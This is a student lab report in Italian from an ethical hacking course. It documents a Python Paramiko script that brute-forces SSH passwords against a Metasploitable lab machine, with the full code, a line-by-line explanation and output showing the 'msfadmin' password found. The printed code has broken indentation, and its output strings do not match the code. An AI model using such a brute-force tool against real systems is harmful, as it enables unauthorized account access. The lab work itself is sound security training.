

Report di laboratorio

Realizzazione di un programma Python per test di autenticazione SSH

Studente: Vincenzo Lembo

Corso: Cybersecurity & Ethical Hacking

Esercitazione: W8D4 - Progetto finale Task2

Argomento: Python per test di autenticazione SSH

Ambiente: Metasploitable ,Kali Linux – UTM

1. Obiettivo dell'esercizio

L'obiettivo dell'esercizio era realizzare un programma in Python in grado di effettuare, in un ambiente controllato di laboratorio, una serie di tentativi di autenticazione verso un servizio SSH.

Per lo svolgimento sono state utilizzate due macchine virtuali:

- **Kali Linux**, utilizzata per sviluppare ed eseguire il programma Python;
- **Metasploitable**, utilizzata come macchina target sulla quale era presente il servizio SSH.

Il programma doveva leggere diverse password da un file di testo, provarle una alla volta sull'account SSH scelto e interrompere l'esecuzione nel momento in cui veniva individuata la password corretta.

2. Preparazione dell'ambiente

Il progetto è stato realizzato utilizzando **Visual Studio Code su Kali Linux**.

È stata creata una cartella denominata:

`bruteforce_ssh`

All'interno sono stati utilizzati principalmente i seguenti file:

`bruteforce_ssh/`
`-venv/`
`-bruteforce.py`
`-password.txt`

Il file `bruteforce.py` contiene il programma Python, mentre `password.txt` contiene le password da utilizzare durante il test.

3. Creazione dell'ambiente virtuale Python

Per mantenere separate le librerie utilizzate dal progetto è stato creato un ambiente virtuale Python.

Dal terminale di Visual Studio Code è stato eseguito:

```
python3 -m venv venv
```

Successivamente l'ambiente è stato attivato con:

```
source venv/bin/activate
```

Una volta attivato, nel terminale è comparsa la dicitura:

```
(venv)
```

Questo indicava che i successivi comandi Python venivano eseguiti all'interno dell'ambiente virtuale.

4. Installazione di Paramiko

Per effettuare le connessioni SSH tramite Python è stata utilizzata la libreria **Paramiko**.

L'installazione è stata effettuata con:

```
pip install paramiko
```

Paramiko permette a un programma Python di creare e gestire connessioni SSH, compresa l'autenticazione tramite username e password.

5. Configurazione e verifica di Metasploitable

Come macchina target è stata utilizzata **Metasploitable**.

Attraverso il comando:

```
ip a
```

è stato individuato l'indirizzo IP della macchina:

```
192.168.50.101
```

È stato inoltre verificato che il server SSH fosse installato e in esecuzione attraverso:

```
which sshd
```

che ha restituito:

```
/usr/sbin/sshd
```

Questo ha confermato che il server SSH era installato sulla macchina Metasploitable.

6. Verifica della comunicazione tra Kali e Metasploitable

Prima di eseguire il programma Python è stato necessario verificare che Kali Linux riuscisse a comunicare con Metasploitable.

Da Kali è stato utilizzato:

```
ping 192.168.50.101
```

Questo ha confermato la corretta comunicazione tra le due macchine.

7. Creazione del file delle password

All'interno della cartella del progetto è stato creato il file:

```
password.txt
```

Nel file sono state inserite diverse password di prova, comprendendo sia password errate sia la password corretta dell'account utilizzato nel laboratorio.

Lo scopo era permettere al programma di leggere automaticamente le password e verificarle una alla volta.

8. Codice utilizzato

Il codice finale utilizzato è il seguente:

```
import paramiko
```

```
host = "192.168.50.101"
```

```
username = "msfadmin"
```

```
file = open("password.txt", "r")
```

```
for password in file:
```

```
    password = password.strip()
```

```
    print("Provo:", password)
```

```
    ssh = paramiko.SSHClient()
```

```
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
```

```
    try:
```

```
        ssh.connect(host, username=username, password=password)
```

```
    print("Password trovata:", password)
```

```
break
```

```
except paramiko.AuthenticationException:  
    print("Password errata")
```

```
file.close()
```

9. Spiegazione del codice

La prima istruzione utilizzata è:

```
import paramiko
```

Questa istruzione permette di importare **Paramiko**, cioè la libreria necessaria per effettuare una connessione SSH tramite Python.

Impostazione dell'host e dell'utente

Successivamente sono state create due variabili:

```
host = "192.168.50.101"  
username = "msfadmin"
```

La variabile `host` contiene l'indirizzo IP della macchina sulla quale viene effettuato il test.

La variabile `username`, invece, contiene il nome dell'utente utilizzato per effettuare l'autenticazione SSH.

10. Apertura del file delle password

Il file contenente le password viene aperto con:

```
file = open("password.txt", "r")
```

La modalità `"r"` indica che il file viene aperto in **lettura**.

Il programma può quindi leggere le password presenti all'interno di `password.txt`.

11. Utilizzo del ciclo `for`

Per leggere le password una alla volta viene utilizzato un ciclo `for`:

```
for password in file:
```

Ad ogni ripetizione del ciclo, la variabile `password` contiene una delle righe presenti nel file.

In questo modo non è necessario inserire manualmente ogni password all'interno del programma.

12. Pulizia e visualizzazione della password

All'interno del ciclo viene utilizzata l'istruzione:

```
password = password.strip()
```

Il metodo `strip()` elimina il carattere di ritorno a capo e gli eventuali spazi presenti all'inizio o alla fine della riga.

Successivamente:

```
print("Provo:", password)
```

permette di visualizzare nel terminale la password che il programma sta provando in quel momento.

13. Creazione della connessione SSH

Per creare il client SSH viene utilizzato:

```
ssh = paramiko.SSHClient()
```

Successivamente viene impostata la gestione della chiave dell'host:

```
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
```

Questa istruzione permette, nell'ambiente di laboratorio, di accettare automaticamente la chiave SSH della macchina alla quale il programma sta tentando di collegarsi.

14. Utilizzo di `try` e `except`

Per controllare se la password è corretta viene utilizzata la struttura:

```
try:
```

All'interno del `try` viene effettuato il tentativo di connessione:

```
ssh.connect(host, username=username, password=password)
```

Il programma utilizza quindi:

- l'indirizzo IP contenuto in `host`;
 - il nome utente contenuto in `username`;
 - la password attualmente letta dal file.
-

15. Password corretta

Se la connessione viene effettuata correttamente significa che la password provata è valida.

Il programma esegue quindi:

```
print("Password trovata:", password)
break
```

La prima istruzione mostra la password trovata.

Il comando:

```
break
```

interrompe immediatamente il ciclo `for`, perché non è più necessario provare le altre password.

16. Password errata

Se invece la password non permette di effettuare l'autenticazione, Paramiko genera un'eccezione.

Questa viene gestita con:

```
except paramiko.AuthenticationException:
    print("Password errata")
```

Il programma mostra quindi il messaggio:

```
Password errata
```

e continua automaticamente con la password successiva contenuta nel file.

Questo permette al programma di non interrompersi quando incontra una password non valida.

17. Chiusura del file

Alla fine viene utilizzata l'istruzione:

`file.close()`

Questa istruzione permette di chiudere correttamente il file `password.txt` dopo il suo utilizzo.

```
(venv)-(kali@kali)-[~/Desktop/epicode/bruteforce_ssh]
$ python bruteforce.py
Provo la password: password
Password errata
Provo la password: 123456
Password errata
Provo la password: ciao123
Password errata
Provo la password: qwerty
Password errata
Provo la password: prova123
Password errata
Provo la password: msfadmin
PASSWORD TROVATA: msfadmin
```

18. Conclusioni

L'esercizio è stato completato realizzando uno script Python semplice che permette di automatizzare un test di autenticazione SSH all'interno dell'ambiente di laboratorio.

Durante l'esercizio sono stati utilizzati diversi concetti studiati in Python, tra cui variabili, file, ciclo `for`, `print`, `try/except` e `break`.

La parte nuova è stata principalmente l'utilizzo della libreria **Paramiko**, necessaria per gestire la connessione SSH.

Il programma finale risulta volutamente semplice e leggibile: legge le password dal file `password.txt`, le prova una alla volta e, quando trova quella corretta, visualizza il risultato e termina la ricerca.

Vincenzo Lembo